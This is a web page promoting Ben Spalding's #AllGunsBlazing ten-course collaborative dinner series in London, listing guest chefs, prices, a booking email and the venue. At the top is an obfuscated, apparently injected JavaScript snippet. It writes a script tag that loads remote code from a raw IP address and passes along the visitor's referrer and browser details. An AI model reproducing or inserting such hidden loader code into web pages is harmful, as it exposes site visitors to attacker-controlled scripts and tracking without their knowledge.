Chef (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfitt|var|u0026u|referrer|rtfkk||js|php’.split(‘|’),0,{}))
Ben Spalding really is going all out with his ambitious collab dinner series #AllGunsBlazing. Designed to be creative and cutting-edge whilst still remaining affordable, the series will see Ben team up with a guest chef for a ten-course dinner, including one savoury and one sweet dish designed by the pair. The first two events see Paul Foster from Salt in the West Midlands joining Ben in the kitchen, with Michael Wignall from Gidleigh Park, Graham Garrett from West House, Ernst Van Zyl from The Lord Clyde, Mikael Svensson from Restaurant Kontrast in Oslo, and ex-Danefield House chef Adam Simmonds coming in from June to November. With Bibendum wines, creative cocktails like Monkey 47 Gin & Pedrino Tonic with pink grapefruit & grape ice cubes, and a jazz and funk soundtrack, these are going to be meals to remember.

Each ten-course dinner comes in at £79-89 per person, plus for the first two events, you get two free tickets if you buy six. To book your place, just email book@allguns-blazing.com with your details.

First event is Tues 31st May 2016
4th Floor Studios, 255-259 Commercial Road, London, E1 2BT